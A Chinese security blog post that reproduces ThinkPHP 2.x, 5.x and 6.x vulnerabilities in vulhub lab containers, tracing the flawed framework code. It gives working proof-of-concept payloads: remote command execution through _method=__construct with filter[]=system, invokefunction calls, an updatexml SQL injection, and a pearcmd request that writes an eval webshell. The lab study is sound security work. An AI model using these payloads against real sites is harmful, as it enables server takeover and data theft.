之前打楚慧杯线下赛的时候,就考到了TP框架,我对这种框架的思路仍然是一把梭,说来实在是惭愧不已,因此痛定思痛复现一手,看看自己能不能借此增加对漏洞的感受之类。

TP框架分为2.0一直到6.0,其中3.x是12年出的,鲜少有了现在,5.x是15年出的,楚慧杯就是考察的这个。6.x是越来越流行了反正

这次主要是复现以下漏洞中的部分几个

TP8的反序列化漏洞本次博客估计不会说了。因为本人实力还没到那个层次。

img

ThinkPHP 2.x 任意代码执行漏洞

搭建

后续若非特殊说明,均是下文这种下载源码+直接使用vulhub镜像的方式

https://github.com/vulhub/thinkphp-2.1/tree/master/ThinkPHP下载TP,然后解压即可

漏洞点出在这里:
image-20260715202917168

这段代码是分隔URL,自动把子域名对应解析到「项目分组 / 模块」,并附带传入 GET 请求参数,最终直接写入$_GET全局变量,用来后续路由分发控制器与模块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if(!empty($rule)) {
// 子域名部署规则 '子域名'=>array('分组名/[模块名]','var1=a&var2=b');
$array = explode('/',$rule[0]);
$module = array_pop($array);
if(!empty($module)) {
$_GET[C('VAR_MODULE')] = $module;
$domainModule = true;
}
if(!empty($array)) {
$_GET[C('VAR_GROUP')] = array_pop($array);
$domainGroup = true;
}
if(isset($rule[1])) { // 传入参数
parse_str($rule[1],$parms);
$_GET = array_merge($_GET,$parms);
}
}
}

然后这里是进行一个URL参数,也就是假如子域名匹配之后还是没有模块名这些,就从后面拿

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);

主要漏洞点在这里:

1
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

$depr上文被赋值为$depr = C('URL_PATHINFO_DEPR');在thinkPHP配置这其实就是/

正则表达式完整形式为:

1
@(\w+)/([^/]+)@e

可以拆成两部分理解:

1
2
3
4
5
6
@          正则开始(分隔符)
(\w+) 第1个捕获组
/ 一个 /
([^/]+) 第2个捕获组
@ 正则结束
e /e 修饰符

主要问题出在这个/e修饰符里头,epreg_replace/e 修饰符,表示:将替换字符串作为 PHP 代码执行。PHP7已经废除了这个规则

preg_replace函数第一个参数是正则字符串,这里我们拼接上/,就得到了,上文也提到过。第二个参数就是目标字符串,这里可以看到很多斜杠,其实就是转义的,完整的原来的含义就是:$var['\1']="\2";.\1代表正则的第一个参数,\2代表第二个,就是上文中刚才分析的正则第一个捕获组和第二个捕获组。

这俩捕获组的后面可以跟代码,由于\e的存在能实现RCE

这里需要注意thinkphp的路由恰恰是通过这几行代码实现的,如test/id/1就是test函数的形参id传入实参1,结合上文就是var[id]=1,这是他路由上面的不同之处,理解这里才能更好的理解漏洞

by the way,虽然多次出现res这段漏洞代码,但是我们关注下面两行:

1
2
3
4
5
6
7
// 1. 弹出第一个元素,赋值给模块MODULE
$var[C('VAR_MODULE')] = array_shift($paths);
// array_shift($paths) → 取出"index",$paths 变成 [ "index", "name", "${@phpinfo()}" ]

// 2. 再弹出剩下数组第一个,赋值给操作ACTION
$var[C('VAR_ACTION')] = array_shift($paths);
// 再取出"index",$paths 最终只剩:[ "name", "${@phpinfo()}" ]

正因为先弹出俩元素出来,所以我们得先构造俩/index/index(模块和控制器),否则触发不了漏洞

我这里直接用vulhub的镜像复现。

输入docker exec -it fec48b01a595 /bin/bash即可进入终端页面。查看thinkPHP源码路径

输入 docker cp 2-rce-web-1:/var/www/html F:/Desktop将他复制到桌面进行分析

可以看到还是存在上文提到过的漏洞代码。

那么我们直接去index.php复现吧

image-20260716165851915

搭建好之后是这样。注意TP2是s参数传递我们刚才所说的一串路由,不要忘记加上?s=赋值即可

这里正则e本意是想要执行数组赋值操作,然而我们想要RCE势必是想要拿到回显的。这里需要借助PHP原生语法:PHP 双引号字符串 ${变量/表达式}

PHP 规定:双引号 " " 包裹的字符串里,${任意PHP表达式} 会直接执行表达式,并把结果嵌入字符串。写过一句话木马的都知道,@是错误抑制符,相当于强制执行语句了。

因此我们可以利用:${@phpinfo()}执行rce

poc:index.php?s=/index/index/name/${@phpinfo()}

image-20260716171726305

我们用天狐工具检测也确实能看到漏洞信息

image-20260716174438230

ThinkPHP 5.0.23-rce

这个漏洞我们直接在github的commit记录这看即可:
改进Request类 · top-think/framework@4a4b5e6

老代码:

1
2
3
4
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
}

新代码:

1
2
3
4
5
6
$method = strtoupper($_POST[Config::get('var_method')]);

if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);
}

也就是在500行这里的地方:
image-20260717213903116

新代码对method做了限制处理,那么原代码这里就肯定有问题

核心危险代码:

1
$this->{$this->method}($_POST);

这是 PHP 的动态方法调用

等价于:

1
2
3
$func = $_POST['_method'];

$this->$func($_POST);

ThinkPHP 支持 RESTful 方法伪装:

例如:

POST:

1
_method=DELETE

框架执行:

1
$this->DELETE($_POST);

模拟 DELETE 请求。

正常允许:

1
2
3
4
5
GET
POST
PUT
DELETE
PATCH

然而原来的代码没有过滤method

1
$this->{$this->method}($_POST);

假设:

请求:

1
2
3
POST /index.php

_method=某个内部方法

框架会执行:

1
$this->某个内部方法($_POST);

这个POC如下:

1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
POST请求

_method=__construct
|

Request::method()

$this->method="__construct"

|


$this->{$this->method}($_POST)

|


$this->__construct($_POST)

|


设置 Request 属性

filter=[
"system"
]

|


后续调用input过滤

|


call_user_func("system", 用户输入)

|


system("id")

|


命令执行

成功执行命令:
image-20260718130236831

ThinkPHP 5.0.22/5.1.29RCE

搭建好后会自动进入以下页面:

image-20260716175332893

简单分析下漏洞

ThinkPHP有一个总入口是App.PHP,我们路由解析也一定会经过这个php文件。就在解析路由的这个步骤上,出问题了

注意看这里的代码:

1
2
3
// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;

在这里,程序通过 strip_tags 去除了 HTML 标签,并做了一次大小写转换。然而,它没有对控制器名称做任何格式限制(如正则表达式校验)。 在正常情况下,控制器应该只是一个普通的类名(如 Index)。但由于缺乏过滤,攻击者可以传入包含命名空间斜杠(\)的完整类名,例如 \think\app

1
2
3
4
5
6
7
8
9
10
try {
$instance = Loader::controller(
$controller,
$config['url_controller_layer'],
$config['controller_suffix'],
$config['empty_controller']
);
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}

随后,程序会进行实例化这个类。前文已经说过,由于缺乏校验,我们可以任意输入一个类路径让他实例化。TP框架最后不是会跟上方法和参数,随后就会执行这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$action = $actionName . $config['action_suffix'];

$vars = [];
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new \ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $config['action_suffix'];
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$request->action($actionName);

} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$actionName];
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}

Hook::listen('action_begin', $call);

return self::invokeMethod($call, $vars);
}

综上所述,我们只需要控制好URL的类,他自己就会执行我们传入的方法。我们目的是RCE,那就寻找看和执行用户代码相关的类,聚焦目光到了下面这个地方:

1
2
3
4
5
6
7
8
9
10
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);

// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

return $reflect->invokeArgs($args);
}

$args = self::bindParams($reflect, $vars); $args 是按顺序排好的参数数组,天然适配 call_user_func_array。

因此vulhub官方给的POC就是:?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

image-20260716205327461

ThinkPHP SQL注入漏洞

该漏洞形成最关键的一点是需要开启debug模式。所以略微有点鸡肋

index.php代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
foreach($result as $row) {
echo "<p>Hello, {$row['username']}</p>";
}
}
}

那也就是说主要是看此处sql查询是否会存在漏洞了

跟踪之后到达:

1
2
3
4
5
public function whereIn($field, $condition, $logic = 'AND')
{
$this->parseWhereExp($logic, $field, 'in', $condition);
return $this;
}

继续跟:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
protected function parseWhereExp($logic, $field, $op, $condition, $param = [])
{
$logic = strtoupper($logic);
if ($field instanceof \Closure) {
$this->options['where'][$logic][] = is_string($op) ? [$op, $field] : $field;
return;
}

if (is_string($field) && !empty($this->options['via']) && !strpos($field, '.')) {
$field = $this->options['via'] . '.' . $field;
}
if (is_string($field) && preg_match('/[,=\>\<\'\"\(\s]/', $field)) {
$where[] = ['exp', $field];
if (is_array($op)) {
// 参数绑定
$this->bind($op);
}
} elseif (is_null($op) && is_null($condition)) {
if (is_array($field)) {
// 数组批量查询
$where = $field;
foreach ($where as $k => $val) {
$this->options['multi'][$logic][$k][] = $val;
}
} elseif ($field && is_string($field)) {
// 字符串查询
$where[$field] = ['null', ''];
$this->options['multi'][$logic][$field][] = $where[$field];
}
} elseif (is_array($op)) {
$where[$field] = $param;
} elseif (in_array(strtolower($op), ['null', 'notnull', 'not null'])) {
// null查询
$where[$field] = [$op, ''];
$this->options['multi'][$logic][$field][] = $where[$field];
} elseif (is_null($condition)) {
// 字段相等查询
$where[$field] = ['eq', $op];
if ('AND' != $logic) {
$this->options['multi'][$logic][$field][] = $where[$field];
}
} else {
$where[$field] = [$op, $condition, isset($param[2]) ? $param[2] : null];
if ('exp' == strtolower($op) && isset($param[2]) && is_array($param[2])) {
// 参数绑定
$this->bind($param[2]);
}
// 记录一个字段多次查询条件
$this->options['multi'][$logic][$field][] = $where[$field];
}
if (!empty($where)) {
if (!isset($this->options['where'][$logic])) {
$this->options['where'][$logic] = [];
}
if (is_string($field) && $this->checkMultiField($field, $logic)) {
$where[$field] = $this->options['multi'][$logic][$field];
} elseif (is_array($field)) {
foreach ($field as $key => $val) {
if ($this->checkMultiField($key, $logic)) {
$where[$key] = $this->options['multi'][$logic][$key];
}
}
}
$this->options['where'][$logic] = array_merge($this->options['where'][$logic], $where);
}
}

这个就是关键函数了

主要漏洞点在这里:

1
2
3
4
5
6
if (is_string($field) && preg_match('/[,=\>\<\'\"\(\s]/', $field)) {
$where[] = ['exp', $field];
if (is_array($op)) {
// 参数绑定
$this->bind($op);
}

这里会把用户输入当作exp表达式。而参数绑定(也就是预编译)里面的op就是我们后面要输入的东西,却不影响我们漏洞的利用

这里采取报错注入输入:

ids[0,updatexml(0,concat(0xa,user()),0)]=1

这里的1就是被参数绑定的op。然而前面的$filed因为没有过滤,被执行。

即可实现注入。这里是debug模式才能看到。debug模式开启:/application/config.phpapp_debugapp_trace都设置为true

image-20260717213147494

ThinkPHP 6 Lang-RCE

参考:ThinkPHP多语言rce复现分析 - 知乎

看漏洞描述:如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含

image-20260718190857231

我是TP6,在这里看开启了多语言没有。TP5则是application/config.php。

跟踪到这个类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function handle($request, Closure $next)
{
// 自动侦测当前语言
$langset = $this->detect($request);

if ($this->lang->defaultLangSet() != $langset) {
$this->lang->switchLangSet($langset);
}

$this->saveToCookie($this->app->cookie, $langset);

return $next($request);
}

可以看到会调用detect函数检测当前语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/**
* 自动侦测设置获取语言选择
* @access protected
* @param Request $request
* @return string
*/
protected function detect(Request $request): string
{
// 自动侦测设置获取语言选择
$langSet = '';

if ($request->get($this->config['detect_var'])) {
// url中设置了语言变量
$langSet = strtolower($request->get($this->config['detect_var']));
} elseif ($request->header($this->config['header_var'])) {
// Header中设置了语言变量
$langSet = strtolower($request->header($this->config['header_var']));
} elseif ($request->cookie($this->config['cookie_var'])) {
// Cookie中设置了语言变量
$langSet = strtolower($request->cookie($this->config['cookie_var']));
} elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) {
// 自动侦测浏览器语言
$match = preg_match('/^([a-z\d\-]+)/i', $request->server('HTTP_ACCEPT_LANGUAGE'), $matches);
if ($match) {
$langSet = strtolower($matches[1]);
if (isset($this->config['accept_language'][$langSet])) {
$langSet = $this->config['accept_language'][$langSet];
}
}
}

if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) {
// 合法的语言
$range = $langSet;
$this->lang->setLangSet($range);
} else {
$range = $this->lang->getLangSet();
}

return $range;
}

可以看到会从Url、cookie等之中找语言变量。最后还会检查语言是否在白名单,在的话就直接设置,否则调用getLangSet()获取默认值

最终如果传入的语言不是默认语言,就会调用以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function switchLangSet(string $langset)
{
if (empty($langset)) {
return;
}

// 加载系统语言包
$this->load([
$this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',
]);

// 加载系统语言包
$files = glob($this->app->getAppPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.*');
$this->load($files);

// 加载扩展(自定义)语言包
$list = $this->app->config->get('lang.extend_list', []);

if (isset($list[$langset])) {
$this->load($list[$langset]);
}
}

接着跟进load函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function load($file, $range = ''): array
{
$range = $range ?: $this->range;
if (!isset($this->lang[$range])) {
$this->lang[$range] = [];
}

$lang = [];

foreach ((array) $file as $name) {
if (is_file($name)) {
$result = $this->parse($name);
$lang = array_change_key_case($result) + $lang;
}
}

if (!empty($lang)) {
$this->lang[$range] = $lang + $this->lang[$range];
}

return $this->lang[$range];
}

接着看算法,大概思路就是会调用parse函数进行操作

进去看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
protected function parse(string $file): array
{
$type = pathinfo($file, PATHINFO_EXTENSION);

switch ($type) {
case 'php':
$result = include $file;
break;
case 'yml':
case 'yaml':
if (function_exists('yaml_parse_file')) {
$result = yaml_parse_file($file);
}
break;
case 'json':
$data = file_get_contents($file);

if (false !== $data) {
$data = json_decode($data, true);

if (json_last_error() === JSON_ERROR_NONE) {
$result = $data;
}
}

break;
}

return isset($result) && is_array($result) ? $result : [];
}

直接就看到了include,而且还是包含的php文件

通过整个链条的跟踪也发现没有针对传入parse的参数的过滤

这里只有文件包含显然执行不了命令,还得配合文件写入才可以

这里看poc用了pear

pearcmd.php 支持通过GET 传参直接接收指令,实现任意文件写入、命令执行,是 PHP 环境里极易被利用的原生危险文件。

poc:[127.0.0.1:8080/?lang=../../../../../../../../usr/local/lib/php/pearcmd](http://127.0.0.1:8080/?lang=../../../../../../../../usr/local/lib/php/pearcmd)

当然这里路径不唯一,需要指向pearcmd.php位置

image-20260718192847399

说明可以用pear。PHP 7.4 之后,PEAR 不再默认内置。

当开启register_argc_argv时,提交的参数都会传入 $_SERVER[‘argv’]变量内。当使用+号分割,将会作为数组,而pear执行是通过 readPHPArgv()来获取argv内容

1
?../../usr/local/lib/php/pearcmd+config-create+<?php @eval($_POST['cmd']);?>+/var/www/html/shell.php

经过服务器解码后,+ → 空格,pearcmd 拿到的 argv 列表等价于命令行执行:

1
php pearcmd config-create "<?php @eval($_POST['cmd']);?>" /var/www/html/shell.php

vulhub提供的poc是:GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php

  • 背景:当 PHP 的配置文件 php.ini 中开启了 register_argc_argv 选项时,Web 请求的查询字符串(Query String)中的 + 会被解析为空格,并作为命令行参数(argv)传递给被执行的 PHP 脚本。

  • 解析后:对于 pearcmd.php 来说,它收到的命令行参数等同于:

    Bash

    1
    pearcmd.php config-create /&lang=... /<?=phpinfo()?> shell.php
  • config-create 是 PEAR 的一个内置命令,用于创建一个新的配置文件。

  • 语法格式pear config-create <文件路径> <文件名>

  • 参数对应

    • 第一个参数(路径):PoC 中传入了包含恶意的 PHP 代码 <?=phpinfo()?> 的字符串。
    • 第二个参数(文件名):shell.php
  • 执行结果pearcmd.php 会在服务器的当前工作目录下(通常是网站的 Web 根目录)创建一个名为 shell.php 的文件。而由于第一个参数被写入了配置文件的内容中,生成的 shell.php 里面就会包含这段恶意的代码:<?=phpinfo()?>

  • <?= ... ?>(短输出标签)

    这是 PHP 的一种简写形式,它等价于 <?php echo ... ?>。它的作用是告诉服务器:“请把括号里面的内容直接打印(输出)到网页上。

PEAR 的 config-create 命令语法是:pear config-create <根目录路径> <文件名>

我们也可以用下面的:

1
http://127.0.0.1:8080/?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/%3C?=phpinfo()?%3E+shell.php

image-20260718194258599

出来了pear的执行日志

假如出现这样:
image-20260718194338363

这是浏览器自动编码的问题,我们用bp/yakit抓包发送即可

image-20260718194524263

番外

我也很好奇电脑上的thinkphp漏洞扫描工具是怎么实现扫描的,于是干起老本行逆向分析一把

这种工具都是内置了poc,扫描的时候根据poc进行匹配

就拿上文的某个rce漏洞来说,他会内置poc,如下所示(程序是使用java开发)

1
2
3
4
5
HttpURLConnection httpURLConnection = HttpRequestUtil.post(url + "?s=" + module);
httpURLConnection.setDoOutput(true);
httpURLConnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
String postData = "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=" + command;